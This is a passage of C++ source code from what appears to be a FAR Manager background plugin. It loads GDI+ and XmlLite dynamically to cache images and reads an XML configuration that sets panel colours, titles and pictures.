//typedef Gdiplus::Status(WINAPI *GdipCreateHBITMAPFromBitmap_t)(Gdiplus::GpBitmap* bitmap, HBITMAP* hbmReturn, ARGB background);
typedef Gdiplus::Status(WINAPI *GdipDrawImageI_t)(Gdiplus::GpGraphics *graphics, Gdiplus::GpImage *image, INT x, INT y);
typedef Gdiplus::Status(WINAPI *GdipCreateFromHDC_t)(HDC hdc, Gdiplus::GpGraphics **graphics);
typedef Gdiplus::Status(WINAPI *GdipDeleteGraphics_t)(Gdiplus::GpGraphics *graphics);
typedef Gdiplus::Status(WINAPI *GdipGetDC_t)(Gdiplus::GpGraphics* graphics, HDC * hdc);
typedef Gdiplus::Status(WINAPI *GdipReleaseDC_t)(Gdiplus::GpGraphics* graphics, HDC hdc);
typedef Gdiplus::Status(WINAPI *GdipGetImageGraphicsContext_t)(Gdiplus::GpImage *image, Gdiplus::GpGraphics **graphics);
typedef Gdiplus::Status(WINAPI *GdipBitmapConvertFormat_t)(Gdiplus::GpBitmap *pInputBitmap, Gdiplus::PixelFormat format, Gdiplus::DitherType dithertype, Gdiplus::PaletteType palettetype, Gdiplus::ColorPalette *palette, DWORD alphaThresholdPercent);
GdiplusStartup_t GdiplusStartup;
GdiplusShutdown_t GdiplusShutdown;
GdipCreateBitmapFromFile_t GdipCreateBitmapFromFile;
GdipGetImageWidth_t GdipGetImageWidth;
GdipGetImageHeight_t GdipGetImageHeight;
GdipDisposeImage_t GdipDisposeImage;
//GdipCreateHBITMAPFromBitmap_t GdipCreateHBITMAPFromBitmap;
GdipDrawImageI_t GdipDrawImageI;
GdipCreateFromHDC_t GdipCreateFromHDC;
GdipDeleteGraphics_t GdipDeleteGraphics;
GdipGetDC_t GdipGetDC;
GdipReleaseDC_t GdipReleaseDC;
GdipGetImageGraphicsContext_t GdipGetImageGraphicsContext;
GdipBitmapConvertFormat_t GdipBitmapConvertFormat;
bool Init()
{
nMagic = eGdiStr_Decoder;
hGDIPlus = NULL; gdiplusToken = 0; bTokenInitialized = false;
nLastError = 0;
if (!GetModuleFileName(ghPluginModule, sModulePath, countof(sModulePath)))
{
ReportFail(L"GetModuleFileName failed in GDIPlusDecoder::Init");
sModulePath[0] = 0;
}
else
{
wchar_t* pszSlash = wcsrchr(sModulePath, L'\\');
if (pszSlash)
pszSlash[1] = 0; // Оставить слеш.
else
sModulePath[0] = 0; // Ошибка?
}
bool result = false;
HRESULT hrCoInitialized = CoInitializeEx(nullptr, COINIT_MULTITHREADED);
bCoInitialized = SUCCEEDED(hrCoInitialized);
_ASSERTE(bCoInitialized);
//wchar_t FullPath[MAX_PATH*2+15]; FullPath[0] = 0;
hGDIPlus = LoadLibraryW(L"GdiPlus.dll");
if (!hGDIPlus)
{
ReportFail(L"GdiPlus.dll not found!");
}
else
{
DllGetFunction(hGDIPlus, GdiplusStartup);
DllGetFunction(hGDIPlus, GdiplusShutdown);
DllGetFunction(hGDIPlus, GdipCreateBitmapFromFile);
DllGetFunction(hGDIPlus, GdipGetImageWidth);
DllGetFunction(hGDIPlus, GdipGetImageHeight);
DllGetFunction(hGDIPlus, GdipDisposeImage);
//DllGetFunction(hGDIPlus, GdipCreateHBITMAPFromBitmap);
DllGetFunction(hGDIPlus, GdipDrawImageI);
DllGetFunction(hGDIPlus, GdipCreateFromHDC);
DllGetFunction(hGDIPlus, GdipDeleteGraphics);
DllGetFunction(hGDIPlus, GdipGetDC);
DllGetFunction(hGDIPlus, GdipReleaseDC);
DllGetFunction(hGDIPlus, GdipGetImageGraphicsContext);
DllGetFunction(hGDIPlus, GdipBitmapConvertFormat); // may be absent in old versions of GdiPlus.dll
if (GdiplusStartup && GdiplusShutdown && GdipCreateBitmapFromFile
&& GdipGetImageWidth && GdipGetImageHeight
&& GdipDisposeImage //&& GdipCreateHBITMAPFromBitmap
&& GdipDrawImageI && GdipCreateFromHDC && GdipDeleteGraphics
&& GdipGetDC && GdipReleaseDC && GdipGetImageGraphicsContext
)
{
Gdiplus::GdiplusStartupInput gdiplusStartupInput;
Gdiplus::Status lRc = GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
result = (lRc == Gdiplus::Ok);
if (!result)
{
nLastError = GetLastError();
GdiplusShutdown(gdiplusToken); bTokenInitialized = false;
ReportFail(L"GdiplusStartup failed");
}
else
{
bTokenInitialized = true;
}
}
else
{
ReportFail(L"Functions not found in GdiPlus.dll");
}
if (!result)
FreeLibrary(hGDIPlus);
}
return result;
};
// При использовании в фаре GdiPlus иногда может зависать на FreeLibrary.
// Причины пока не выяснены
static DWORD WINAPI FreeThreadProc(LPVOID lpParameter)
{
struct GDIPlusDecoder* p = (struct GDIPlusDecoder*)lpParameter;
if (p && p->hGDIPlus)
{
FreeLibrary(p->hGDIPlus);
}
return 0;
}
void Close()
{
if (pImages)
{
pImages->Close();
pImages = NULL;
}
if (bTokenInitialized)
{
GdiplusShutdown(gdiplusToken);
bTokenInitialized = false;
}
if (hGDIPlus)
{
//FreeLibrary(hGDIPlus);
DWORD nFreeTID = 0, nWait = 0, nErr = 0;
HANDLE hFree = apiCreateThread(FreeThreadProc, this, &nFreeTID, "Bg::FreeThreadProc");
if (!hFree)
{
nErr = GetLastError();
FreeLibrary(hGDIPlus);
}
else
{
nWait = WaitForSingleObject(hFree, 5000);
if (nWait != WAIT_OBJECT_0)
apiTerminateThread(hFree, 100);
CloseHandle(hFree);
}
UNREFERENCED_PARAMETER(nErr);
hGDIPlus = NULL;
}
if (bCoInitialized)
{
bCoInitialized = FALSE;
CoUninitialize();
}
free(this);
};
CachedImage* GetImage(LPCWSTR asRelativeName)
{
if (!asRelativeName || !*asRelativeName)
return NULL;
size_t cchFullName = MAX_PATH*2;
wchar_t* szFullName = (wchar_t*)malloc(cchFullName*sizeof(*szFullName));
size_t cchName = MAX_PATH;
wchar_t* szName = (wchar_t*)malloc(cchName*sizeof(*szName));
size_t cchError = MAX_PATH*3;
wchar_t* szError = (wchar_t*)malloc(cchError*sizeof(*szError));
wchar_t* psz = NULL;
Gdiplus::Status lRc;
Gdiplus::GpBitmap *bmp = NULL;
Gdiplus::GpGraphics *gr = NULL;
CachedImage *pI = NULL, *pLast = NULL;
UINT nW = 0, nH = 0;
HDC hDc = NULL, hCompDc = NULL;
HBITMAP hBmp = NULL, hOldBmp = NULL;
const HDC hScreenDC = GetDC(0);
if (!szFullName || !szName || !szError)
{
ReportFail(L"Can't allocate memory for szFullName");
goto wrap;
}
if (*asRelativeName == L'\\' || *asRelativeName == L'/')
asRelativeName++;
// Заменить "/" на "\"
_wcscpy_c(szName, cchName, asRelativeName);
psz = wcschr(szName, L'/');
while (psz)
{
*psz = L'\\';
psz = wcschr(psz+1, L'/');
}
// Lowercase, для сравнения
CharLowerBuff(szName, lstrlen(szName));
// Может уже есть?
pI = pImages;
while (pI != NULL)
{
pLast = pI;
if (pI->bUsed && lstrcmp(pI->sImgName, szName) == 0)
{
goto wrap;
}
pI = pI->pNextImage;
}
// Загрузить из файла
_ASSERTE(pI == NULL);
pI = NULL;
_wcscpy_c(szFullName, cchFullName, sModulePath);
_wcscat_c(szFullName, cchFullName, szName);
lRc = GdipCreateBitmapFromFile(szFullName, &bmp);
if (lRc != Gdiplus::Ok)
{
swprintf_c(szError, cchError/*#SECURELEN*/, L"Can't load image, Err=%i\n%s", (int)lRc, szFullName);
ReportFail(szError);
_ASSERTE(bmp == NULL);
bmp = NULL;
goto wrap;
}
if (GdipBitmapConvertFormat)
{
Gdiplus::ColorPalette pal[2];
pal[0].Flags = Gdiplus::PaletteFlagsGrayScale;
pal[0].Count = 2;
pal[0].Entries[0] = (DWORD)0;
pal[0].Entries[1] = (DWORD)-1;
GdipBitmapConvertFormat(bmp, PixelFormat1bppIndexed, Gdiplus::DitherTypeSolid, Gdiplus::PaletteTypeFixedBW, pal, 0);
}
if (((lRc = GdipGetImageWidth(bmp, &nW)) != Gdiplus::Ok) || (GdipGetImageHeight(bmp, &nH) != Gdiplus::Ok)
|| (nW < 1) || (nH < 1))
{
swprintf_c(szError, cchError/*#SECURELEN*/, L"GetImageSize failed, Err=%i\n%s", (int)lRc, szFullName);
ReportFail(szError);
goto wrap;
}
hCompDc = CreateCompatibleDC(hScreenDC);
hBmp = CreateCompatibleBitmap(hScreenDC, nW, nH);
if (!hCompDc || !hBmp)
{
ReportFail(L"CreateCompatible[DC|Bitmap] failed");
goto wrap;
}
hOldBmp = (HBITMAP)SelectObject(hCompDc, hBmp);
lRc = GdipCreateFromHDC(hCompDc, &gr);
if (lRc != Gdiplus::Ok)
{
swprintf_c(szError, cchError/*#SECURELEN*/, L"GdipCreateFromHDC failed, Err=%i\n%s", (int)lRc, szFullName);
ReportFail(szError);
goto wrap;
}
lRc = GdipDrawImageI(gr, bmp, 0, 0);
if (lRc != Gdiplus::Ok)
{
swprintf_c(szError, cchError/*#SECURELEN*/, L"GdipDrawImageI failed, Err=%i\n%s", (int)lRc, szFullName);
ReportFail(szError);
goto wrap;
}
//lRc = GdipGetImageGraphicsContext(bmp, &gr);
//if (lRc != Gdiplus::Ok || !gr)
//{
// swprintf_c(szError, cchError/*#SECURELEN*/, L"GdipGetImageGraphicsContext failed, Err=%i\n%s", (int)lRc, szFullName);
// ReportFail(szError);
// goto wrap;
//}
lRc = GdipGetDC(gr, &hDc);
if (lRc != Gdiplus::Ok || !hDc)
{
swprintf_c(szError, cchError/*#SECURELEN*/, L"GdipGetDC failed, Err=%i\n%s", (int)lRc, szFullName);
ReportFail(szError);
goto wrap;
}
#ifdef _DEBUG
//SelectObject(hDc, (HPEN)GetStockObject(WHITE_PEN));
//MoveToEx(hDc, 0,0, NULL);
//LineTo(hDc, nW, nH);
/*{
RECT rcDbg = {nW/2,nH/2, nW, nH};
FillRect(hDc, &rcDbg, (HBRUSH)GetStockObject(WHITE_BRUSH));
//BitBlt(hScreenDC, 0, 0, nW, nH, hDc, 0, 0, SRCCOPY); // PATINVERT/PATPAINT?
}*/
#endif
// OK, теперь можно запомнить в кеше
if (!pLast)
{
_ASSERTE(pImages == NULL);
pImages = (CachedImage*)calloc(1,sizeof(CachedImage));
pI = pImages;
}
else
{
pI = (CachedImage*)calloc(1,sizeof(CachedImage));
pLast->pNextImage = pI;
}
if (!pI)
{
ReportFail(L"Can't allocate memory for CachedImage");
goto wrap;
}
// Done
if (!pI->Init(szName, hDc, nW, nH, hScreenDC))
{
if (pLast)
pLast->pNextImage = NULL;
if (pI == pImages)
pImages = NULL;
pI->Close();
pI = NULL;
goto wrap;
}
wrap:
if (szFullName)
free(szFullName);
if (szName)
free(szName);
if (szError)
free(szError);
if (hDc && gr)
GdipReleaseDC(gr, hDc);
if (gr)
GdipDeleteGraphics(gr);
if (hCompDc && hOldBmp)
SelectObject(hCompDc, hOldBmp);
if (hCompDc)
DeleteDC(hCompDc);
if (hBmp)
DeleteObject(hBmp);
if (bmp)
GdipDisposeImage(bmp);
if (hScreenDC)
ReleaseDC(0, hScreenDC);
return pI;
}
};
GDIPlusDecoder* gpDecoder = NULL;
bool GdipInit()
{
if (gbGdiPlusInitialized)
return true; // уже
_ASSERTE(XmlFile.cr && XmlFile.cr->IsInitialized());
// Загрузить его содержимое
CheckXmlFile(true);
// Инициализация XMLLite
ghXmlLite = LoadLibrary(L"xmllite.dll");
if (!ghXmlLite)
{
ReportFail(L"xmllite.dll not found");
}
else
{
gfCreateXmlReader = (CreateXmlReader_t)GetProcAddress(ghXmlLite, "CreateXmlReader");
if (!gfCreateXmlReader)
{
ReportFail(L"function CreateXmlReader in the xmllite.dll not found");
FreeLibrary(ghXmlLite);
ghXmlLite = NULL;
}
}
gpDecoder = (GDIPlusDecoder*)calloc(1,sizeof(*gpDecoder));
if (!gpDecoder->Init())
{
gpDecoder->Close();
gpDecoder = NULL;
}
gbGdiPlusInitialized = true;
return true;
}
void GdipDone()
{
if (!gbGdiPlusInitialized)
return; // Не выполнялось
MSectionLockSimple CS;
if (XmlFile.cr)
{
CS.Lock(XmlFile.cr);
}
if (ghXmlLite)
{
FreeLibrary(ghXmlLite);
ghXmlLite = NULL;
}
gfCreateXmlReader = NULL;
if (gpszXmlFile)
{
free(gpszXmlFile);
gpszXmlFile = NULL;
}
if (gpszXmlFolder)
{
free(gpszXmlFolder);
gpszXmlFolder = NULL;
}
if (XmlFile.FileData)
{
free(XmlFile.FileData);
XmlFile.FileData = NULL;
}
XmlFile.FileSize = 0;
if (ghXmlNotification && (ghXmlNotification != INVALID_HANDLE_VALUE))
{
FindCloseChangeNotification(ghXmlNotification);
ghXmlNotification = NULL;
}
if (XmlFile.cr)
{
CS.Unlock();
SafeDelete(XmlFile.cr);
}
if (gpDecoder)
{
gpDecoder->Close();
gpDecoder = NULL;
}
gbGdiPlusInitialized = false;
}
bool CompareNames(LPCWSTR asMaskList, LPWSTR asPath)
{
if (!asMaskList || !asPath)
return false;
if ((*asMaskList && !*asPath) || (*asPath && !*asMaskList))
return false;
wchar_t szMask[MAX_PATH];
while (*asMaskList)
{
LPCWSTR pszSep = wcschr(asMaskList, L'|');
if (pszSep)
{
int nLen = (int)std::min((INT_PTR)countof(szMask)-1,(INT_PTR)(pszSep-asMaskList));
lstrcpyn(szMask, asMaskList, nLen+1);
szMask[nLen] = 0;
}
else
{
lstrcpyn(szMask, asMaskList, countof(szMask));
}
wchar_t* pszSlash = wcschr(szMask, L'/');
while (pszSlash)
{
*pszSlash = L'\\';
pszSlash = wcschr(pszSlash+1, L'/');
}
if (FMatch(szMask, asPath))
return true;
if (!pszSep)
break;
asMaskList = pszSep+1;
}
return false;
}
struct RGBColor
{
union
{
COLORREF clr;
struct
{
BYTE R, G, B, Dummy;
};
};
};
void ParseColors(LPCWSTR asColors, BOOL abSwap/*RGB->COLORREF*/, COLORREF (&crValues)[32], int &nCount)
{
int i = 0;
wchar_t* pszEnd = NULL;
while (asColors && *asColors)
{
if (abSwap)
{
// Нам нужен COLORREF - это перевернутые R&B
RGBColor rgb = {}, bgr;
if (*asColors == L'#')
bgr.clr = wcstoul(asColors+1, &pszEnd, 16) & 0xFFFFFF;
else
bgr.clr = wcstoul(asColors, &pszEnd, 10) & 0xFFFFFF;
rgb.R = bgr.B;
rgb.G = bgr.G;
rgb.B = bgr.R;
crValues[i++] = rgb.clr;
}
else
{
RGBColor rgb;
if (*asColors == L'#')
rgb.clr = wcstoul(asColors+1, &pszEnd, 16) & 0xFFFFFF;
else
rgb.clr = wcstoul(asColors, &pszEnd, 10) & 0xFFFFFF;
crValues[i++] = rgb.clr;
}
if (pszEnd && *pszEnd == L'|')
asColors = pszEnd + 1;
else
break;
}
nCount = i;
//while (i < countof(crValues))
//{
// crValues[i++] = (COLORREF)-1;
//}
}
int FillPanelParams(PaintBackgroundArg* pBk, BkPanelInfo *pPanel, DrawInfo *pDraw)
{
int iFound = 0;
MStream strm;
IXmlReader* pXmlReader = NULL;
HRESULT hr = S_OK;
//int WindowType = -1;
struct ChunkInfo
{
enum {
ci_WindowNone = 0,
ci_WindowPanels = 1,
ci_WindowEditor = 2,
ci_WindowViewer = 3,
} WindowType;
enum {
ci_PanelNone = 0,
ci_PanelDrive = 1,
ci_PanelPlugin = 2,
ci_PanelTree = 3,
ci_PanelQView = 4,
ci_PanelInfo = 5,
} PanelType;
BOOL CondFailed;
bool Valid()
{
if (WindowType == ci_WindowNone)
return false;
if (WindowType == ci_WindowPanels)
{
if (PanelType == ci_PanelNone)
return false;
}
return true;
}
bool Equal(ChunkInfo* pTest)
{
if (pTest->WindowType == ci_WindowNone || pTest->WindowType != this->WindowType)
return false;
if (pTest->WindowType == ci_WindowPanels)
{
if (pTest->PanelType == ci_PanelNone || pTest->PanelType != this->PanelType)
return false;
}
if (CondFailed)
return false;
return true;
}
};
bool bFound = false;
ChunkInfo Test = {ChunkInfo::ci_WindowPanels, ChunkInfo::ci_PanelNone};
ChunkInfo Panel = {ChunkInfo::ci_WindowPanels, ChunkInfo::ci_PanelNone};
MSectionLockSimple CS;
LPWSTR pszFormat = lstrdup(pPanel->szFormat ? pPanel->szFormat : L"");
size_t nMaxLen = lstrlen(pPanel->szCurDir ? pPanel->szCurDir : L"");
LPWSTR pszPath = (wchar_t*)malloc((nMaxLen+2)*sizeof(*pszPath));
_wcscpy_c(pszPath, nMaxLen+1, pPanel->szCurDir ? pPanel->szCurDir : L"");
if (nMaxLen > 1 && pszPath[nMaxLen-1] != L'\\')
{
pszPath[nMaxLen] = L'\\';
pszPath[nMaxLen+1] = 0;
}
BOOL bTempPath = FALSE;
wchar_t szTemp[MAX_PATH+1];
// Проверка, путь - %TEMP%?
if (*pszPath)
{
if (!bTempPath)
{
lstrcpyn(szTemp, pszPath, countof(szTemp));
CharUpperBuff(szTemp, lstrlen(szTemp));
if (wcsstr(szTemp, L"\\TEMP\\") != NULL)
bTempPath = TRUE;
}
if (!bTempPath && GetTempPath(countof(szTemp)-1, szTemp))
{
szTemp[countof(szTemp)-1] = 0;
if (lstrcmpi(pszPath, szTemp) == 0)
bTempPath = TRUE;
}
}
pDraw->Flags = 0;
if (pBk->Place == pbp_Panels)
{
Panel.WindowType = ChunkInfo::ci_WindowPanels;
if (pPanel->bPlugin)
{
Panel.PanelType = ChunkInfo::ci_PanelPlugin;
}
else if (pPanel->nPanelType == PTYPE_FILEPANEL)
{
Panel.PanelType = ChunkInfo::ci_PanelDrive;
}
else
{
switch (pPanel->nPanelType)
{
case PTYPE_TREEPANEL:
Panel.PanelType = ChunkInfo::ci_PanelTree;
break;
case PTYPE_QVIEWPANEL:
Panel.PanelType = ChunkInfo::ci_PanelQView;
break;
case PTYPE_INFOPANEL:
Panel.PanelType = ChunkInfo::ci_PanelInfo;
break;
}
}
}
else if (pBk->Place == pbp_Editor || pBk->Place == pbp_Viewer)
{
Panel.WindowType = (pBk->Place == pbp_Editor) ? ChunkInfo::ci_WindowEditor : ChunkInfo::ci_WindowViewer;
}
else
{
_ASSERTE(pBk->Place == pbp_Panels || pBk->Place == pbp_Editor || pBk->Place == pbp_Viewer);
goto wrap;
}
CS.Lock(XmlFile.cr);
if (!XmlFile.FileData || !XmlFile.FileSize)
{
CS.Unlock();
goto wrap;
}
strm.SetData(XmlFile.FileData, XmlFile.FileSize);
CS.Unlock();
hr = gfCreateXmlReader(IID_IXmlReader, (void**)&pXmlReader, NULL);
if (SUCCEEDED(hr))
{
hr = pXmlReader->SetInput(&strm);
// read through the stream
XmlNodeType nodeType;
while (!iFound && (S_OK == (hr = pXmlReader->Read(&nodeType))))
{
PCWSTR pszName = NULL;
PCWSTR pszValue = NULL;
#ifdef _DEBUG
PCWSTR pszPrefix = NULL;
#endif
PCWSTR pszAttrName = NULL;
PCWSTR pszAttrValue = NULL;
switch (nodeType)
{
case XmlNodeType_EndElement:
hr = pXmlReader->GetLocalName(&pszName, NULL);
if (SUCCEEDED(hr))
{
bool bEndWindow = (lstrcmpi(pszName, L"window") == 0);
if (bEndWindow || (lstrcmpi(pszName, L"panel") == 0))
{
if (bEndWindow)
Test.WindowType = ChunkInfo::ci_WindowNone;
Test.PanelType = ChunkInfo::ci_PanelNone;
Test.CondFailed = FALSE;
if (bFound)
iFound = TRUE;
}
}
break;
case XmlNodeType_Element:
hr = pXmlReader->GetLocalName(&pszName, NULL);
if (FAILED(hr))
{
continue;
}
if (lstrcmpi(pszName, L"window") == 0)
{
// Сначала - сброс
Test.WindowType = ChunkInfo::ci_WindowNone;
// Смотрим атрибуты
hr = pXmlReader->MoveToFirstAttribute();
if (SUCCEEDED(hr))
{
do {
#ifdef _DEBUG
hr = pXmlReader->GetPrefix(&pszPrefix, NULL);
#endif
if (SUCCEEDED(hr = pXmlReader->GetLocalName(&pszAttrName, NULL)))
{
if (SUCCEEDED(hr = pXmlReader->GetValue(&pszAttrValue, NULL)))
{
if (lstrcmpi(pszAttrName, L"type") == 0)
{
if (lstrcmpi(pszAttrValue, L"PANELS") == 0 || lstrcmpi(pszAttrValue, L"PANEL") == 0)
Test.WindowType = ChunkInfo::ci_WindowPanels;
else if (lstrcmpi(pszAttrValue, L"EDITOR") == 0)
Test.WindowType = ChunkInfo::ci_WindowEditor;
else if (lstrcmpi(pszAttrValue, L"VIEWER") == 0)
Test.WindowType = ChunkInfo::ci_WindowViewer;
// Check
if (Test.WindowType != Panel.WindowType)
Test.CondFailed = TRUE;
}
}
}
} while (!Test.CondFailed && (hr = pXmlReader->MoveToNextAttribute()) == S_OK);
}
}
else if (lstrcmpi(pszName, L"panel") == 0)
{
if ((Test.WindowType == ChunkInfo::ci_WindowNone) || (Test.WindowType != Panel.WindowType))
{
Test.CondFailed = TRUE;
}
else
{
// Сначала - сброс
Test.PanelType = ChunkInfo::ci_PanelNone;
// Смотрим атрибуты
hr = pXmlReader->MoveToFirstAttribute();
if (SUCCEEDED(hr))
{
do {
#ifdef _DEBUG
hr = pXmlReader->GetPrefix(&pszPrefix, NULL);
#endif
if (SUCCEEDED(hr = pXmlReader->GetLocalName(&pszAttrName, NULL)))
{
if (SUCCEEDED(hr = pXmlReader->GetValue(&pszAttrValue, NULL)))
{
if (lstrcmpi(pszAttrName, L"type") == 0)
{
if (lstrcmpi(pszAttrValue, L"DRIVE") == 0)
Test.PanelType = ChunkInfo::ci_PanelDrive;
else if (lstrcmpi(pszAttrValue, L"PLUGIN") == 0)
Test.PanelType = ChunkInfo::ci_PanelPlugin;
else if (lstrcmpi(pszAttrValue, L"TREE") == 0)
Test.PanelType = ChunkInfo::ci_PanelTree;
else if (lstrcmpi(pszAttrValue, L"QVIEW") == 0)
Test.PanelType = ChunkInfo::ci_PanelQView;
else if (lstrcmpi(pszAttrValue, L"INFO") == 0)
Test.PanelType = ChunkInfo::ci_PanelInfo;
else
Test.PanelType = ChunkInfo::ci_PanelNone;
// Check
if (Test.PanelType != Panel.PanelType)
Test.CondFailed = TRUE;
}
else if (lstrcmpi(pszAttrName, L"drivetype") == 0)
{
DWORD nDriveType = DRIVE_UNKNOWN;
if (lstrcmpi(pszAttrValue, L"NO_ROOT_DIR") == 0)
nDriveType = DRIVE_NO_ROOT_DIR;
else if (lstrcmpi(pszAttrValue, L"REMOVABLE") == 0)
nDriveType = DRIVE_REMOVABLE;
else if (lstrcmpi(pszAttrValue, L"FIXED") == 0)
nDriveType = DRIVE_FIXED;
else if (lstrcmpi(pszAttrValue, L"REMOTE") == 0)
nDriveType = DRIVE_REMOTE;
else if (lstrcmpi(pszAttrValue, L"CDROM") == 0)
nDriveType = DRIVE_CDROM;
else if (lstrcmpi(pszAttrValue, L"RAMDISK") == 0)
nDriveType = DRIVE_RAMDISK;
else
nDriveType = DRIVE_UNKNOWN;
// Check
if (nDriveType != pDraw->nDriveType)
Test.CondFailed = TRUE;
}
else if (lstrcmpi(pszAttrName, L"pathtype") == 0)
{
if (lstrcmpi(pszAttrValue, L"TEMP") == 0)
{
if (!bTempPath)
Test.CondFailed = TRUE;
}
}
else if (lstrcmpi(pszAttrName, L"pathmatch") == 0)
{
if (!CompareNames(pszAttrValue, pszPath))
Test.CondFailed = TRUE;
}
else if (lstrcmpi(pszAttrName, L"format") == 0)
{
if (!CompareNames(pszAttrValue, pszFormat))
Test.CondFailed = TRUE;
}
}
}
} while (!Test.CondFailed && (hr = pXmlReader->MoveToNextAttribute()) == S_OK);
}
}
}
else if (Test.Valid() && Test.Equal(&Panel))
{
if (lstrcmpi(pszName, L"disabled") == 0)
{
pDraw->Flags |= DrawInfo::dif_Disabled;
iFound = TRUE;
break;
}
// Блок подошел, больше не проверяем
bFound = true;
// Смотрим, что там настроили
if (lstrcmpi(pszName, L"color") == 0)
{
// Смотрим атрибуты
hr = pXmlReader->MoveToFirstAttribute();
if (SUCCEEDED(hr))
{
do {
#ifdef _DEBUG
hr = pXmlReader->GetPrefix(&pszPrefix, NULL);
#endif
if (SUCCEEDED(hr = pXmlReader->GetLocalName(&pszAttrName, NULL)))
{
if (SUCCEEDED(hr = pXmlReader->GetValue(&pszAttrValue, NULL)))
{
if (lstrcmpi(pszAttrName, L"rgb") == 0)
{
// Нам нужен COLORREF - это перевернутые R&B
ParseColors(pszAttrValue, TRUE/*RGB->COLORREF*/, pDraw->crBack, pDraw->nBackCount);
pDraw->Flags |= DrawInfo::dif_BackFilled;
}
else if (lstrcmpi(pszAttrName, L"rgb_dark") == 0)
{
// Нам нужен COLORREF - это перевернутые R&B
ParseColors(pszAttrValue, TRUE/*RGB->COLORREF*/, pDraw->crDark, pDraw->nDarkCount);
pDraw->Flags |= DrawInfo::dif_DarkFilled;
}
else if (lstrcmpi(pszAttrName, L"rgb_light") == 0)
{
// Нам нужен COLORREF - это перевернутые R&B
ParseColors(pszAttrValue, TRUE/*RGB->COLORREF*/, pDraw->crLight, pDraw->nLightCount);
pDraw->Flags |= DrawInfo::dif_LightFilled;
}
else if (lstrcmpi(pszAttrName, L"bgr") == 0)
{
ParseColors(pszAttrValue, FALSE/*RGB->COLORREF*/, pDraw->crBack, pDraw->nBackCount);
pDraw->Flags |= DrawInfo::dif_BackFilled;
}
else if (lstrcmpi(pszAttrName, L"bgr_dark") == 0)
{
ParseColors(pszAttrValue, FALSE/*RGB->COLORREF*/, pDraw->crDark, pDraw->nDarkCount);
pDraw->Flags |= DrawInfo::dif_DarkFilled;
}
else if (lstrcmpi(pszAttrName, L"bgr_light") == 0)
{
ParseColors(pszAttrValue, FALSE/*RGB->COLORREF*/, pDraw->crLight, pDraw->nLightCount);
pDraw->Flags |= DrawInfo::dif_LightFilled;
}
else if (lstrcmpi(pszAttrName, L"shift") == 0)
{
if (lstrcmpi(pszAttrValue, L"yes") == 0)
pDraw->Flags |= DrawInfo::dif_ShiftBackColor;
}
}
}
} while ((hr = pXmlReader->MoveToNextAttribute()) == S_OK);
}
}
else if (lstrcmpi(pszName, L"space") == 0)
{
// Смотрим атрибуты
hr = pXmlReader->MoveToFirstAttribute();
if (SUCCEEDED(hr))
{
do {
#ifdef _DEBUG
hr = pXmlReader->GetPrefix(&pszPrefix, NULL);
#endif
if (SUCCEEDED(hr = pXmlReader->GetLocalName(&pszAttrName, NULL)))
{
if (SUCCEEDED(hr = pXmlReader->GetValue(&pszAttrValue, NULL)))
{
if (lstrcmpi(pszAttrName, L"type") == 0)
{
if (lstrcmpi(pszAttrValue, L"large") == 0)
pDraw->nSpaceBar = DrawInfo::dib_Large;
else if (lstrcmpi(pszAttrValue, L"off") == 0)
pDraw->nSpaceBar = DrawInfo::dib_Off;
else //if (lstrcmpi(pszAttrValue, L"small") == 0)
pDraw->nSpaceBar = DrawInfo::dib_Small;
}
}
}
} while ((hr = pXmlReader->MoveToNextAttribute()) == S_OK);
}
}
else if (lstrcmpi(pszName, L"title") == 0)
{
//TODO: Обработка функций
hr = pXmlReader->Read(&nodeType);
if (SUCCEEDED(hr) && (nodeType == XmlNodeType_Text))
{
hr = pXmlReader->GetValue(&pszValue, NULL);
//lstrcpyn(pDraw->szText, pszValue, countof(pDraw->szPic));
// szTemp
pDraw->szText[0] = 0;
szTemp[0] = 0;
wchar_t* pszDst = pDraw->szText;
wchar_t* pszEnd = pDraw->szText+countof(pDraw->szText)-1;
wchar_t* pszTemp = szTemp;
wchar_t* pszTempEnd = szTemp+countof(szTemp)-1;
bool bPlain = false;
while (TRUE)
{
if (*pszValue == L'"')
{
if (!bPlain)
{
bPlain = true;
}
else if (pszValue[1] == L'"')
{
pszValue++;
*(pszDst++) = L'"';
}
else
{
bPlain = false;
}
pszValue++;
}
else if (bPlain)
{
*(pszDst++) = *(pszValue++);
if (pszDst >= pszEnd)
break;
}
else if (!*pszValue || wcschr(L" \t\r\n+", *pszValue))
{
if (*szTemp)
{
*pszTemp = 0;
LPCWSTR pszVar = szTemp;
if (lstrcmpi(szTemp, L"VOLUME") == 0)
lstrcpyn(szTemp, pDraw->szVolume, countof(szTemp));
else if (lstrcmpi(szTemp, L"VOLUMESIZE") == 0)
lstrcpyn(szTemp, pDraw->szVolumeSize, countof(szTemp));
else if (lstrcmpi(szTemp, L"VOLUMEFREE") == 0)
lstrcpyn(szTemp, pDraw->szVolumeFree, countof(szTemp));
else if (lstrcmpi(szTemp, L"PANELFORMAT") == 0)
lstrcpyn(szTemp, pPanel->szFormat ? pPanel->szFormat : L"", countof(szTemp));
int nTempLen = lstrlen(pszVar);
if ((pszDst + nTempLen) >= pszEnd)
break;
lstrcpyn(pszDst, pszVar, nTempLen+1);
pszDst += nTempLen;
pszTemp = szTemp;
*szTemp = 0;
}
if (!*pszValue)
break;
pszValue++;
}
else
{
*(pszTemp++) = *(pszValue++);
if (pszTemp >= pszTempEnd)
break;
}
}
while ((pszDst > pDraw->szText) && (*(pszDst-1) == L' '))
pszDst--;
*pszDst = 0; // ASCIIZ
pDraw->Flags |= DrawInfo::dif_TextFilled;
}
}
else if (lstrcmpi(pszName, L"img") == 0)
{
if (SUCCEEDED(hr = pXmlReader->MoveToAttributeByName(L"ref", NULL)))
{
if (SUCCEEDED(hr = pXmlReader->GetValue(&pszAttrValue, NULL)))
{
lstrcpyn(pDraw->szPic, pszAttrValue, countof(pDraw->szPic));
pDraw->Flags |= DrawInfo::dif_PicFilled;
}
}
}
}
break;
default:
; // GCC warning elimination
}
} // end - while (!iFound && (S_OK == (hr = pXmlReader->Read(&nodeType))))
pXmlReader->Release();
}
wrap:
if (pszPath)
free(pszPath);
if (pszFormat)
free(pszFormat);
return iFound;
}
// HSB
#if 0
struct HSBColor
{
double Hue, Saturnation, Brightness;
};
struct RGBColor
{
union
{
COLORREF clr;
struct
{
BYTE Red, Green, Blue, Dummy;
};
};
};
void COLORREF2HSB(COLORREF rgbclr, HSBColor& hsb)
{
double minRGB, maxRGB, Delta;
double H, s, b;
RGBColor rgb; rgb.clr = rgbclr;
H = 0.0;
